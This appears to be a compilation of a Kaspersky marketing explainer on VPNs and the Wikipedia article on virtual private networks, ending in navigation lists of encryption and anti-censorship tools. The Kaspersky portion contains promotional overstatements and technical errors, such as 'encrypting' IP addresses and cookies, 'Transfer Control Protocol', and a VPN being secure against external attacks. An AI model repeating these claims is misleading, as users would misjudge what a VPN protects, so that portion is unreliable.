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VPN stands for "Virtual Private Network" and describes the opportunity to 
establish a protected network connection when using public networks. VPNs encrypt 
your internet traffic and disguise your online identity. This makes it more difficult for 
third parties to track your activities online and steal data. The encryption takes place 
in real time. 

How does a VPN work? 

A VPN hides your IP address by letting the network redirect it through a specially 
configured remote server run by a VPN host. This means that if you surf online with 
a VPN, the VPN server becomes the source of your data. This means your Internet 
Service Provider (ISP) and other third parties cannot see which websites you visit or 
what data you send and receive online. A VPN works like a filter that turns all your 
data into "gibberish". Even if someone were to get their hands on your data, it would 
be useless. 

What are the benefits of a VPN connection? 

A VPN connection disguises your data traffic online and protects it from external 
access. Unencrypted data can be viewed by anyone who has network access and 
wants to see it. With a VPN, hackers and cyber criminals can’t decipher this data. 

Secure encryption: To read the data, you need an encryption key . Without one, it 
would take millions of years for a computer to decipher the code in the event of 
a brute force attack . With the help of a VPN, your online activities are hidden even 
on public networks. 

https://www.kaspersky.com/resource-center/definitions/brute-force-attack


Disguising your whereabouts: VPN servers essentially act as your proxies on the 
internet. Because the demographic location data comes from a server in another 
country, your actual location cannot be determined. In addition, most VPN services 
do not store logs of your activities. Some providers, on the other hand, record your 
behaviour, but do not pass this information on to third parties. This means that any 
potential record of your user behaviour remains permanently hidden. 
Access to regional content: Regional web content is not always accessible from 
everywhere. Services and websites often contain content that can only be accessed 
from certain parts of the world. Standard connections use local servers in the country 
to determine your location. This means that you cannot access content at home 
while traveling, and you cannot access international content from home. With VPN 
location spoofing: you can switch to a server to another country and effectively 
“change” your location. 
Secure data transfer: If you work remotely, you may need to access important files 
on your company’s network. For security reasons, this kind of information requires a 
secure connection. To gain access to the network, a VPN connection is often 
required. VPN services connect to private servers and use encryption methods to 
reduce the risk of data leakage. 
 
 

Why should you use a VPN connection? 

Your ISP usually sets up your connection when you connect to the internet. It tracks 
you via an IP address. Your network traffic is routed through your ISP's servers, 
which can log and display everything you do online. 

Your ISP may seem trustworthy, but it may share your browsing history with 
advertisers, the police or government, and/or other third parties. ISPs can also fall 
victim to attacks by cyber criminals: If they are hacked, your personal and private 
data can be compromised. 

This is especially important if you regularly connect to public Wi-Fi networks. You 
never know who might be monitoring your internet traffic and what they might steal 
from you, including passwords, personal data, payment information, or even your 
entire identity. 

What should a good VPN do? 

You should rely on your VPN to perform one or more tasks. The VPN itself should 
also be protected against compromise. These are the features you should expect 
from a comprehensive VPN solution: 

 Encryption of your IP address: The primary job of a VPN is to hide your IP 
address from your ISP and other third parties. This allows you to send and receive 
information online without the risk of anyone but you and the VPN provider seeing it. 

 Encryption of protocols: A VPN should also prevent you from leaving traces, for 
example, in the form of your internet history, search history and cookies. The 
encryption of cookies is especially important because it prevents third parties from 
gaining access to confidential information such as personal data, financial 
information and other content on websites. 



 Kill switch: If your VPN connection is suddenly interrupted, your secure connection 
will also be interrupted. A good VPN can detect this sudden downtime and terminate 
preselected programs, reducing the likelihood that data is compromised. 

 Two-factor authentication: By using a variety of authentication methods, a strong 
VPN checks everyone who tries to log in. For example, you might be prompted to 
enter a password, after which a code is sent to your mobile device. This makes it 
difficult for uninvited third parties to access your secure connection. 

The history of VPNs 

Since humans have been using the internet, there has been a movement to protect 
and encrypt internet browser data. The US Department of Defence already got 
involved in projects working on the encryption of internet communication data back in 
the 1960s. 

The predecessors of the VPN 

Their efforts led to the creation of ARPANET (Advanced Research Projects Agency 
Network), a packet switching network, which in turn led to the development of the 
Transfer Control Protocol/Internet Protocol (TCP/IP). 
The TCP/IP had four levels: Link, internet, transport and application. At the 
internet level, local networks and devices could be connected to the universal 
network – and this is where the risk of exposure became clear. In 1993, a team from 
Columbia University and AT&T Bell Labs finally succeeded in creating a kind of first 
version of the modern VPN, known as swIPe: Software IP encryption protocol. 

In the following year, Wei Xu developed the IPSec network, an internet security 
protocol that authenticates and encrypts information packets shared online. In 1996, 
a Microsoft employee named Gurdeep Singh-Pall created a Peer-to-Peer Tunnelling 
Protocol (PPTP). 

Early VPNs 

Contiguous to Singh-Pall developing PPTP, the internet was growing in popularity 
and the need for consumer-ready, sophisticated security systems emerged. At that 
time, anti-virus programs were already effective in preventing malware and spyware 
from infecting a computer system. However, people and companies also started 
demanding encryption software that could hide their browsing history on the internet. 

The first VPNs therefore started in the early 2000s, but were almost exclusively used 
by companies. However, after a flood of security breaches, especially in the early 
2010s, the consumer market for VPNs started to pick up. 

VPNs and their current use 

According to the GlobalWebIndex, the number of VPN users worldwide increased 
more than fourfold between 2016 and 2018. In countries such as Thailand, Indonesia 
and China, where internet use is restricted and censored, one in fiveinternet 
users uses a VPN. In the USA, Great Britain and Germany, the proportion of VPN 
users is lowerat around 5%, but is growing. 

https://www.globalwebindex.com/reports/vpn-usage-around-the-world


One of the biggest drivers for VPN adoption in recent years has been the increasing 
demand for content with geographical access restrictions. For example, video 
streaming services such as Netflix or YouTube make certain videos available only in 
certain countries. With contemporary VPNs, you can encrypt your IP address so that 
you appear to be surfing from another country, enabling you to access this content 
from anywhere. 

Here’s how to surf securely with a VPN 

A VPN encrypts your surfing behavior, which can only be decoded with the help of a 
key. Only your computer and the VPN know this key, so your ISP cannot recognize 
where you are surfing. Different VPNs use different encryption processes, but 
generally function in three steps: 

1. Once you are online, start your VPN. The VPN acts as a secure tunnel between you 
and the internet. Your ISP and other third parties cannot detect this tunnel. 

2. Your device is now on the local network of the VPN, and your IP address can be 
changed to an IP address provided by the VPN server. 

3. You can now surf the internet at will, as the VPN protects all your personal data. 

What kind of VPNs are there? 

There are many different types of VPNs, but you should definitely be familiar with the 
three main types: 

SSL VPN 

Often not all employees of a company have access to a company laptop they can 
use to work from home. During the corona crisis in Spring 2020, many companies 
faced the problem of not having enough equipment for their employees. In such 
cases, use of a private device (PC, laptop, tablet, mobile phone) is often resorted to. 
In this case, companies fall back on an SSL-VPN solution, which is usually 
implemented via a corresponding hardware box. 

The prerequisite is usually an HTML-5-capable browser, which is used to call up the 
company's login page. HTML-5 capable browsers are available for virtually any 
operating system. Access is guarded with a username and password. 

Site-to-site VPN 

A site-to-site VPN is essentially a private network designed to hide private intranets 
and allow users of these secure networks to access each other's resources. 

A site-to-site VPN is useful if you have multiple locations in your company, each with 
its own local area network (LAN) connected to the WAN (Wide Area Network). Site-
to-site VPNs are also useful if you have two separate intranets between which you 
want to send files without users from one intranet explicitly accessing the other. 



Site-to-site VPNs are mainly used in large companies. They are complex to 
implement and do not offer the same flexibility as SSL VPNs. However, they are the 
most effective way to ensure communication within and between large departments. 

Client-to-Server VPN 

Connecting via a VPN client can be imagined as if you were connecting your home 
PC to the company with an extension cable. Employees can dial into the company 
network from their home office via the secure connection and act as if they were 
sitting in the office. However, a VPN client must first be installed and configured on 
the computer. 

This involves the user not being connected to the internet via his own ISP, but 
establishing a direct connection through his/her VPN provider. This essentially 
shortens the tunnel phase of the VPN journey. Instead of using the VPN to create an 
encryption tunnel to disguise the existing internet connection, the VPN can 
automatically encrypt the data before it is made available to the user. 

This is an increasingly common form of VPN, which is particularly useful for 
providers of insecure public WLAN. It prevents third parties from accessing and 
compromising the network connection and encrypts data all the way to the provider. 
It also prevents ISPs from accessing data that, for whatever reason, remains 
unencrypted and bypasses any restrictions on the user's internet access (for 
instance, if the government of that country restricts internet access). 

The advantage of this type of VPN access is greater efficiency and universal access 
to company resources. Provided an appropriate telephone system is available, the 
employee can, for example, connect to the system with a headset and act as if 
he/she were at their company workplace. For example, customers of the company 
cannot even tell whether the employee is at work in the company or in their home 
office. 

How do I install a VPN on my computer? 

Before installing a VPN, it is important to be familiar with the different implementation 
methods: 

VPN client 

Software must be installed for standalone VPN clients. This software is configured to 
meet the requirements of the endpoint. When setting up the VPN, the endpoint 
executes the VPN link and connects to the other endpoint, creating the encryption 
tunnel. In companies, this step usually requires the entry of a password issued by 
the company or the installation of an appropriate certificate. By using a password or 
certificate, the firewall can recognize that this is an authorized connection. The 
employee then identifies him/herself by means of credentials known to him/her. 

Browser extensions 

VPN extensions can be added to most web browsers such as Google Chrome and 
Firefox. Some browsers, including Opera, even have their own integrated VPN 



extensions. Extensions make it easier for users to quickly switch and configure their 
VPN while surfing the internet. However, the VPN connection is only valid for 
information that is shared in this browser. Using other browsers and other internet 
uses outside the browser (e.g. online games) cannot be encrypted by the VPN. 

While browser extensions are not quite as comprehensive as VPN clients, they may 
be an appropriate option for occasional internet users who want an extra layer of 
internet security. However, they have proven to be more susceptible to breaches. 
Users are also advised to choose a reputable extension, as data harvesters may 
attempt to use fake VPN extensions. Data harvesting is the collection of personal 
data, such as what marketing strategists do to create a personal profile of you. 
Advertising content is then personally tailored to you. 

Router VPN 

If multiple devices are connected to the same internet connection, it may be easier to 
implement the VPN directly on the router than to install a separate VPN on each 
device. A router VPN is especially useful if you want to protect devices with an 
internet connection that are not easy to configure, such as smart TVs. They can 
even help you access geographically restricted content through your home 
entertainment systems. 

A router VPN is easy to install, always provides security and privacy, and prevents 
your network from being compromised when insecure devices log on. However, it 
may be more difficult to manage if your router does not have its own user interface. 
This can lead to incoming connections being blocked. 

Company VPN 

A company VPN is a custom solution that requires personalized setup and technical 
support. The VPN is usually created for you by the company's IT team. As a user, 
you have no administrative influence from the VPN itself and your activities and data 
transfers are logged by your company. This allows the company to minimize the 
potential risk of data leakage. The main advantage of a corporate VPN is a fully 
secure connection to the company's intranet and server, even for employees who 
work outside the company using their own internet connection. 

Can I also use a VPN on my smartphone or other devices? 

Yes, there are a number of VPN options for smartphones and other internet-
connected devices. A VPN can be essential for your mobile device if you use it to 
store payment information or other personal data or even just to surf the internet. 
Many VPN providers also offer mobile solutions - many of which can be downloaded 
directly from Google Play or the Apple App Store, such as Kaspersky VPN Secure 
Connection. 

Is a VPN really so secure? 

It is important to note that VPNs do not function like comprehensive anti-virus 
software. While they protect your IP and encrypt your internet history, a VPN 
connection does not protect your computer from outside intrusion. To do this, you 
should definitely use anti-virus software such as Kaspersky Internet Security . 

https://www.kaspersky.com/vpn-secure-connection
https://www.kaspersky.com/vpn-secure-connection
https://www.kaspersky.com/internet-security


Because using a VPN on its own does not protect you from Trojans, viruses, bots or 
other malware. 

Once the malware has found its way onto your device, it can steal or damage your 
data, whether you are running a VPN or not. It is therefore important that you use a 
VPN together with a comprehensive anti-virus program to ensure maximum security. 

Selecting a secure VPN provider 

It is also important that you choose a VPN provider that you can trust. While your 
ISP cannot see your internet traffic, your VPN provider can. If your VPN provider is 
compromised, so are you. For this reason, it is crucial that you choose a trusted VPN 
provider to ensure both the concealment of your internet activities and ensure the 
highest level of security. 

How to install a VPN connection on your 
smartphone 

As already mentioned, there are also VPN connections for Android smartphones and 
iPhones. Fortunately, smartphone VPN services are easy to use and generally 
include the following: 

 The installation process usually only downloads one app from the iOS App Store or 
Google Play Store. Although free VPN providers exist, it’s wise to choose a 
professional provider when it comes to security. 

 The setup is extremely user-friendly, as the default settings are already mostly 
designed for the average smartphone user. Simply log in with your account. Most 
apps will then guide you through the key functions of the VPN services. 

 Switching on the VPN literally works like a light switch for many VPN apps. You will 
probably find the option directly on the home screen. 

 Server switching is usually done manually if you want to fake your location. Simply 
select the desired country from the offer. 

 Advanced setup is available for users requiring a higher degree of data protection. 
Depending on your VPN, you can also select other protocols for your encryption 
method. Diagnostics and other functions may also be available in your app. Before 
you subscribe, learn about these features to find the right VPN for your needs. 

 In order to surf the internet safely from now on, all you have to do is first activate the 
VPN connection through the app. 

But keep the following in mind: A VPN is only as secure as the data usage and 
storage policies of its provider. Remember that the VPN service transfers your data 
to their servers and these servers connect over the internet on your behalf. If they 
store data logs, make sure that it is clear for what purpose these logs are stored. 
Serious VPN providers usually put your privacy first and foremost. You should 
therefore choose a trusted provider such as Kaspersky Secure Connection . 

https://www.kaspersky.com/vpn-secure-connection


Remember that only internet data is encrypted. Anything that does not use a cellular 
or Wi-Fi connection will not be transmitted over the internet. As a result, your VPN 
will not encrypt your standard voice calls or texts. 

Conclusion 

A VPN connection establishes a secure connection between you and the internet. 
Via the VPN, all your data traffic is routed through an encrypted virtual tunnel. This 
disguises your IP address when you use the internet, making its location invisible to 
everyone. A VPN connection is also secure against external attacks. That’s because 
only you can access the data in the encrypted tunnel – and nobody else can 
because they don’t have the key. A VPN allows you to access regionally restricted 
content from anywhere in the world. Many streaming platforms are not available in 
every country. You can still access them using the VPN. VPN solutions from 
Kaspersky are available for both Windows PCs and Apple Macs. 
There are now also many providers of VPN connections for smartphones which keep 
mobile data traffic anonymous. You can find certified providers in the Google Play 
Store or the iOS App Store. However, remember that only your data traffic on the 
internet is anonymized and protected by using a VPN. The VPN connection does not 
protect you from hacker attacks, Trojans, viruses or other malware. You should 
therefore rely on an additional trusted anti-virus software. 

More articles about VPN (Virtual Private Network) 

Work securely online in your home office 
Security of public WiFi networks 
Defence against a man-in-the-middle attack 
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A virtual private network (VPN) is a mechanism for creating a secure 
connection between a computing device and a computer network, or between two 
networks, using an insecure communication medium such as the public Internet.[1] 

A VPN can extend a private network (one that disallows or restricts public access), in 
such a way that it enables users of that network to send and receive data across 
public networks as if the public networks' devices were directly connected to the 
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private network.[2] The benefits of a VPN include security, reduced costs for 
dedicated communication lines, and greater flexibility for remote workers. VPNs are 
also used to bypass internet censorship. Encryption is common, although not an 
inherent part of a VPN connection. 

A VPN is created by establishing a virtual point-to-point connection through the use 
of tunneling protocols over existing networks. A VPN available from the public 

Internet can provide some of the benefits of a wide area network (WAN). From a 

user perspective, the resources available within the private network can be 

accessed remotely. 

Types 

 

VPN classification tree based on the topology first, then on the technology used 

 

VPN connectivity overview, showing intranet site-to-site and remote-work configurations used together 

Virtual private networks may be classified into several categories: 

Remote access 

A host-to-network configuration is analogous to connecting a computer to a 
local area network. This type provides access to an enterprise network, such 
as an intranet. This may be employed for remote workers who need access to 

private resources, or to enable a mobile worker to access important tools 

without exposing them to the public Internet. 

Site-to-site 

A site-to-site configuration connects two networks. This configuration expands 
a network across geographically disparate offices, or connects a group of 
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offices to a data center installation. The interconnecting link may run over a 
dissimilar intermediate network, such as two IPv6 networks connected over 
an IPv4 network.[5] 

Extranet-based site-to-site 

In the context of site-to-site configurations, the 
terms intranet and extranet are used to describe two different use 
cases.[6] An intranet site-to-site VPN describes a configuration where the sites 
connected by the VPN belong to the same organization, whereas 
an extranet site-to-site VPN joins sites belonging to multiple organizations. 

Typically, individuals interact with remote access VPNs, whereas 
businesses tend to make use of site-to-site connections for business-to-
business, cloud computing, and branch office scenarios. However these 
technologies are not mutually exclusive and, in a significantly complex 
business network, may be combined to enable remote access to 
resources located at any given site, such as an ordering system that 
resides in a data center. 

VPN systems also may be classified by: 

 the tunneling protocol used to tunnel the traffic 

 the tunnel's termination point location, e.g., on the customer edge or 
network-provider edge 

 the type of topology of connections, such as site-to-site or network-to-
network 

 the levels of security provided 

 the OSI layer they present to the connecting network, such as Layer 
2 circuits or Layer 3 network connectivity 

 the number of simultaneous connections 

Security mechanisms 

VPNs cannot make online connections completely anonymous, but they 
can increase privacy and security. To prevent disclosure of private 
information or data sniffing, VPNs typically allow only authenticated 

remote access using tunneling protocols and 

secure encryption techniques. 

The VPN security model provides: 

 confidentiality such that even if the network traffic is sniffed at the 
packet level (see network sniffer or deep packet inspection), an 
attacker would see only encrypted data, not the raw data 

 sender authentication to prevent unauthorized users from accessing 
the VPN 

 message integrity to detect and reject any instances of tampering with 
transmitted messages 

https://en.wikipedia.org/wiki/IPv6
https://en.wikipedia.org/wiki/IPv4
https://en.wikipedia.org/wiki/Virtual_private_network#cite_note-5
https://en.wikipedia.org/wiki/Intranet
https://en.wikipedia.org/wiki/Extranet
https://en.wikipedia.org/wiki/Virtual_private_network#cite_note-6
https://en.wikipedia.org/wiki/Business-to-business
https://en.wikipedia.org/wiki/Business-to-business
https://en.wikipedia.org/wiki/Branch_office
https://en.wikipedia.org/wiki/IP_tunnel
https://en.wikipedia.org/wiki/Edge_device
https://en.wikipedia.org/wiki/OSI_model
https://en.wikipedia.org/wiki/Layer_2
https://en.wikipedia.org/wiki/Layer_2
https://en.wikipedia.org/wiki/Layer_3
https://en.wikipedia.org/wiki/Privacy
https://en.wikipedia.org/wiki/Packet_analyzer
https://en.wikipedia.org/wiki/Tunneling_protocol
https://en.wikipedia.org/wiki/Encryption_software
https://en.wikipedia.org/wiki/Information_security#Confidentiality
https://en.wikipedia.org/wiki/Deep_packet_inspection
https://en.wikipedia.org/wiki/Encryption
https://en.wikipedia.org/wiki/Authentication
https://en.wikipedia.org/wiki/Data_integrity


 

The life cycle phases of an IPSec Tunnel in a virtual private network 

Secure VPN protocols include the following: 

 Internet Protocol Security (IPsec) was initially developed by 
the Internet Engineering Task Force (IETF) for IPv6, and was required 
in all standards-compliant implementations of IPv6 
before RFC 6434 made it only a recommendation.[7] This standards-
based security protocol is also widely used with IPv4 and the Layer 2 
Tunneling Protocol. Its design meets most security goals: availability, 
integrity, and confidentiality. IPsec uses encryption, encapsulating an 
IP packet inside an IPsec packet. De-encapsulation happens at the 
end of the tunnel, where the original IP packet is decrypted and 
forwarded to its intended destination. 

 Transport Layer Security (SSL/TLS) can tunnel an entire network's 
traffic (as it does in the OpenVPN project and SoftEther VPN project[8]) 
or secure an individual connection. A number of vendors provide 
remote-access VPN capabilities through SSL. An SSL VPN can 

connect from locations where IPsec runs into trouble [clarification 

needed] with Network Address Translation and firewall rules. 

 Datagram Transport Layer Security (DTLS) – used in 
Cisco AnyConnect VPN and in OpenConnect VPN[9] to solve the 
issues TLS has with tunneling over TCP (SSL/TLS are TCP-based, 
and tunneling TCP over TCP can lead to big delays and connection 
aborts[10]). 

 Microsoft Point-to-Point Encryption (MPPE) works with the Point-to-
Point Tunneling Protocol and in several compatible implementations 
on other platforms. 

 Microsoft Secure Socket Tunneling Protocol (SSTP) tunnels Point-to-
Point Protocol (PPP) or Layer 2 Tunneling Protocol traffic through 
an SSL/TLS channel (SSTP was introduced in Windows Server 
2008 and in Windows Vista Service Pack 1). 

 Multi Path Virtual Private Network (MPVPN). Ragula Systems 
Development Company owns the 
registered trademark "MPVPN".[relevant?][11] 

 Secure Shell (SSH) VPN – OpenSSH offers VPN tunneling (distinct 
from port forwarding) to secure[ambiguous] remote connections to a network, 
inter-network links, and remote systems. OpenSSH server provides a 
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limited number of concurrent tunnels. The VPN feature itself does not 
support personal authentication.[12] SSH is more often used to remotely 
connect to machines or networks instead of a site to site VPN 
connection. 

 WireGuard is a protocol. In 2020, WireGuard support was added to 
both the Linux[13] and Android[14] kernels, opening it up to adoption by 
VPN providers. By default, WireGuard utilizes 
the Curve25519 protocol for key exchange and ChaCha20-
Poly1305 for encryption and message authentication, but also 
includes the ability to pre-share a symmetric key between the client 
and server.[15] 

 Internet Key Exchange version 2 was created by Microsoft and Cisco 
and is used in conjunction with IPSec for encryption and 
authentication. Its primary use is in mobile devices, whether 
on 3G or 4G LTE networks, since it automatically reconnects when a 
connection is lost. 

 OpenVPN is a free and open-source VPN protocol based on the TLS 
protocol. It supports perfect forward-secrecy, and most modern secure 
cipher suites, like AES, Serpent, TwoFish, etc. It is currently[may be outdated as of 

March 2023] being developed and updated by OpenVPN Inc., a non-
profit providing secure VPN technologies. 

 Crypto IP Encapsulation (CIPE) is a free and open-source VPN 
implementation for tunneling IPv4 
packets over UDP via encapsulation.[16] CIPE was developed 
for Linux operating systems by Olaf Titz, with 
a Windows port implemented by Damion K. Wilson.[17] Development for 
CIPE ended in 2002.[18] 

Authentication 

Tunnel endpoints must be authenticated[by whom?] before secure VPN tunnels 
can be established[by whom?]. User-created remote-access VPNs may 
use passwords, biometrics, two-factor authentication, or 
other cryptographic methods. Network-to-network tunnels often use 
passwords or digital certificates. Depending on the VPN protocol, they 
may store the key to allow the VPN tunnel to establish automatically, 
without intervention from the administrator. Data packets are secured 
by tamper proofing via a message authentication code (MAC), which 
prevents the message from being altered or tampered without being 
rejected due to the MAC not matching with the altered data packet. 

Routing 
Tunneling protocols can operate in a point-to-point network 
topology though this would theoretically not be considered a VPN 
because a VPN by definition is expected to support arbitrary and 
changing sets of network nodes. But since most router implementations 
support a virtual, software-defined tunnel interface, customer-provisioned 
VPNs often are simply[ambiguous] defined tunnels running conventional routing 
protocols. 
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Provider-provisioned VPN building-blocks[edit] 

 

Site-to-Site VPN terminology 

Depending on whether a provider-provisioned VPN (PPVPN) operates in 
Layer 2 (L2) or Layer 3 (L3), the building blocks described below may be 
L2 only, L3 only, or a combination of both. Multi-protocol label 
switching (MPLS) functionality blurs the L2-L3 identity.[19][original research?] 

RFC 4026 generalized the following terms to cover L2 MPLS VPNs and 
L3 (BGP) VPNs, but they were introduced in RFC 2547.[20][21] 

Customer (C) devices 

A device that is within a customer's network and not directly connected to 
the service provider's network. C devices are not aware of the VPN. 

Customer Edge device (CE) 

A device at the edge of the customer's network which provides access to 
the PPVPN. Sometimes it is just a demarcation point between provider 
and customer responsibility. Other providers allow customers to configure 
it. 

Provider edge device (PE) 

A device, or set of devices, at the edge of the provider network that 
connects to customer networks through CE devices and presents the 
provider's view of the customer site. PEs are aware of the VPNs that 
connect through them, and maintain VPN state. 

Provider device (P) 

A device that operates inside the provider's core network and does not 
directly interface to any customer endpoint. It might, for example, provide 
routing for many provider-operated tunnels that belong to different 
customers' PPVPNs. While the P device is a key part of implementing 
PPVPNs, it is not itself VPN-aware and does not maintain VPN state. Its 
principal role is allowing the service provider to scale its PPVPN offerings, 
for example, by acting as an aggregation point for multiple PEs. P-to-P 
connections, in such a role, often are high-capacity optical links between 
major locations of providers. 

User-visible PPVPN services 
OSI Layer 2 services 
VLAN 
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VLAN is a Layer 2 technique that allows for the coexistence of 
multiple local area network (LAN) broadcast domains interconnected via 
trunks using the IEEE 802.1Q trunking protocol. Other trunking protocols 
have been used but have become obsolete, including Inter-Switch Link 
(ISL), IEEE 802.10 (originally a security protocol but a subset was 
introduced for trunking), and ATM LAN Emulation (LANE). 

Virtual private LAN service (VPLS) 

Developed by Institute of Electrical and Electronics Engineers, VLANs 
allow multiple tagged LANs to share common trunking. VLANs frequently 
comprise only customer-owned facilities. Whereas VPLS as described in 
the above section (OSI Layer 1 services) supports emulation of both 
point-to-point and point-to-multipoint topologies, the method discussed 
here extends Layer 2 technologies such as 802.1d and 802.1q LAN 
trunking to run over transports such as Metro Ethernet. 

As used in this context, a VPLS is a Layer 2 PPVPN, emulating the full 
functionality of a traditional LAN. From a user standpoint, a VPLS makes 
it possible to interconnect several LAN segments over a packet-switched, 
or optical, provider core, a core transparent to the user, making the 
remote LAN segments behave as one single LAN.[22] 

In a VPLS, the provider network emulates a learning bridge, which 
optionally may include VLAN service. 

Pseudo wire (PW) 

PW is similar to VPLS, but it can provide different L2 protocols at both 
ends. Typically, its interface is a WAN protocol such as Asynchronous 
Transfer Mode or Frame Relay. In contrast, when aiming to provide the 
appearance of a LAN contiguous between two or more locations, the 
Virtual Private LAN service or IPLS would be appropriate. 

Ethernet over IP tunneling 

EtherIP (RFC 3378)[23] is an Ethernet over IP tunneling protocol 
specification. EtherIP has only packet encapsulation mechanism. It has 
no confidentiality nor message integrity protection. EtherIP was 
introduced in the FreeBSD network stack[24] and the SoftEther 
VPN[25] server program. 

IP-only LAN-like service (IPLS) 

A subset of VPLS, the CE devices must have Layer 3 capabilities; the 
IPLS presents packets rather than frames. It may support IPv4 or IPv6. 

Ethernet Virtual Private Network (EVPN) 

Ethernet VPN (EVPN) is an advanced solution for providing Ethernet 
services over IP-MPLS networks. In contrast to the VPLS architectures, 
EVPN enables control-plane based MAC (and MAC,IP) learning in the 
network. PEs participating in the EVPN instances learn customer's MAC 
(MAC,IP) routes in control-plane using MP-BGP protocol. Control-plane 
MAC learning brings a number of benefits that allow EVPN to address the 
VPLS shortcomings, including support for multi-homing with per-flow load 
balancing and avoidance of unnecessary flooding over the MPLS core 
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network to multiple PEs participating in the P2MP/MP2MP L2VPN (in the 
occurrence, for instance, of ARP query). It is defined RFC 7432. 

OSI Layer 3 PPVPN architectures 

This section discusses the main architectures for PPVPNs, one where the 
PE disambiguates duplicate addresses in a single routing instance, and 
the other, virtual router, in which the PE contains a virtual router instance 
per VPN. The former approach, and its variants, have gained the most 
attention. 

One of the challenges of PPVPNs involves different customers using the 
same address space, especially the IPv4 private address space.[26] The 
provider must be able to disambiguate overlapping addresses in the 
multiple customers' PPVPNs. 

BGP/MPLS PPVPN 

In the method defined by RFC 2547, BGP extensions advertise routes in 
the IPv4 VPN address family, which are of the form of 12-byte strings, 
beginning with an 8-byte route distinguisher (RD) and ending with a 4-
byte IPv4 address. RDs disambiguate otherwise duplicate addresses in 
the same PE. 

PEs understand the topology of each VPN, which are interconnected with 
MPLS tunnels either directly or via P routers. In MPLS terminology, the P 
routers are label switch routers without awareness of VPNs. 

Virtual router PPVPN 

The virtual router architecture,[27][28] as opposed to BGP/MPLS techniques, 
requires no modification to existing routing protocols such as BGP. By the 
provisioning of logically independent routing domains, the customer 
operating a VPN is completely responsible for the address space. In the 
various MPLS tunnels, the different PPVPNs are disambiguated by their 
label but do not need routing distinguishers. 

Unencrypted tunnels 

Some virtual networks use tunneling protocols without encryption for 
protecting the privacy of data. While VPNs often do provide security, an 
unencrypted overlay network does not fit within the secure or trusted 
categorization.[29] For example, a tunnel set up between two hosts 
with Generic Routing Encapsulation (GRE) is a virtual private network but 
is neither secure nor trusted.[30][31] 

Native plaintext tunneling protocols include Layer 2 Tunneling Protocol 
(L2TP) when it is set up without IPsec and Point-to-Point Tunneling 
Protocol (PPTP) or Microsoft Point-to-Point Encryption (MPPE).[32] 

Trusted delivery networks 
Trusted VPNs do not use cryptographic tunneling; instead they rely on the 
security of a single provider's network to protect the traffic.[33] 
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 Multiprotocol Label Switching (MPLS) often overlays VPNs, often with 
quality-of-service control over a trusted delivery network. 

 L2TP[34] which is a standards-based replacement, and a compromise 
taking the good features from each, for two proprietary VPN protocols: 
Cisco's Layer 2 Forwarding (L2F)[35] (obsolete as of 2009) and 
Microsoft's Point-to-Point Tunneling Protocol (PPTP).[36] 

From the security standpoint, VPNs either trust the underlying delivery 
network or must enforce security with mechanisms in the VPN itself. 
Unless the trusted delivery network runs among physically secure sites 
only, both trusted and secure models need an authentication mechanism 
for users to gain access to the VPN. 

VPNs in mobile environments 

Mobile virtual private networks are used in settings where an endpoint of 
the VPN is not fixed to a single IP address, but instead roams across 
various networks such as data networks from cellular carriers or between 
multiple Wi-Fi access points without dropping the secure VPN session or 
losing application sessions.[37] Mobile VPNs are widely used in public 
safety where they give law-enforcement officers access to applications 
such as computer-assisted dispatch and criminal databases,[38] and in 
other organizations with similar requirements such as field service 
management and healthcare.[39][need quotation to verify]. 

Networking limitations 

A limitation of traditional VPNs is that they are point-to-point connections 
and do not tend to support broadcast domains; therefore, communication, 
software, and networking, which are based on layer 2 and 
broadcast packets, such as NetBIOS used in Windows networking, may 
not be fully supported as on a local area network. Variants on VPN such 
as Virtual Private LAN Service (VPLS) and layer 2 tunneling protocols are 
designed to overcome this limitation.[40] 

Common misconceptions 

 A VPN does not make your Internet "private". You can still be tracked 
through tracking cookies and device fingerprinting, even if your IP 
address is hidden.[41] 

 A VPN can log your traffic, however this depends on the VPN 
provider.[41] 

 A VPN does not make you immune to hackers.[41] 

 A VPN is not in itself a means for good Internet privacy. The burden of 
trust is simply transferred from the ISP to the VPN 
service provider.[42][43] 

See also 
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 Free Software portal 

 Internet portal 

 Anonymizer 

 Dynamic Multipoint Virtual Private Network 

 Ethernet VPN 

 Internet privacy 

 Mediated VPN 

 Opportunistic encryption 

 Split tunneling 

 Virtual private server 

 VPN service 
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 mbed TLS, BSAFE, SChannel, SSLeay, stunnel, TeamNote, wolfSSL 

VPN  Check Point VPN-1, Hamachi, Openswan, OpenVPN, ,SoftEther VPN, strongSwan, Tinc, WireGuard 

ZRTP  
 CSipSimple, Jitsi, Linphone, Jami, Zfone 

P2P 
 Bitmessage, Briar, RetroShare, Tox 

DRA  

o Matrix, OMEMO , Cryptocat, ChatSecure, Proteus, Session, Signal Protocol , Facebook Messenger 

o Google Allo, Messages (Google), Signal, TextSecure, WhatsApp, SimpleX 
 

Disk encryption 

(Comparison) 

 BestCrypt, BitLocker, CrossCrypt, Cryptoloop, dm-crypt, DriveSentry, E4M, eCryptfs, FileVault, FreeOTFE 

 GBDE, geli, LUKS, PGPDisk, Private Disk, Scramdisk, Sentry 2020, TrueCrypt , History, VeraCrypt 

Anonymity  
 GNUnet, I2P, Java Anon Proxy, Tor, Vidalia, RetroShare, Ricochet, Wickr 

File systems (List)  EncFS, EFS, eCryptfs, LUKS, PEFS, Rubberhose, StegFS, Tahoe-LAFS 

Security-focused 

operating system 

 Tails, Qubes 

Service providers  Freenet, Tresorit, Wuala, NordLocker 

Educational  CrypTool 

Anti-computer forensics  
 USBKill, BusKill 

Related topics 
o Outline of cryptography, Timeline of cryptography, Hash functions , Cryptographic hash function 

 List of hash functions, End-to-end encryption, S/MIME 
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  Commons 

Internet censorship circumvention technologies 

Background 

 Internet censorship , Internet censorship in China, National intranet, Censorship and blocking technologies  

 IP address blocking, DNS cache poisoning, Wordfilter, Great Firewall of China, Blocks on specific websites  

o Facebook, Github, Twitter, Wikipedia 
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Principles 

With a proxy server  P2P, Web proxies, SSH, VPN, PAC 

Without a proxy server 
 HTTPS, IPv6 transition mechanism, hosts, DNSCrypt 

 Domain fronting, Refraction networking 
 

Anti-censorship software 

Free software 
 Psiphon, Shadowsocks, Outline VPN, GoAgent, PirateBox, VPN Gate, WireGuard 

Proprietary software 
 Lantern, Freegate, Ultrasurf, Hotspot Shield, Garden Networks 

 Telex, CGIProxy, Proxify 

Browser extensions  uProxy 
 

Anonymity 

Anonymous software  Tor, JAP (JonDonym), Flash proxy, Mixmaster 

Anonymous P2P network  Freenet, I2P, StealthNet, Tribler, ZeroNet 
 

Physical circumvention 

methods 
 Sneakernet, USB dead drop 

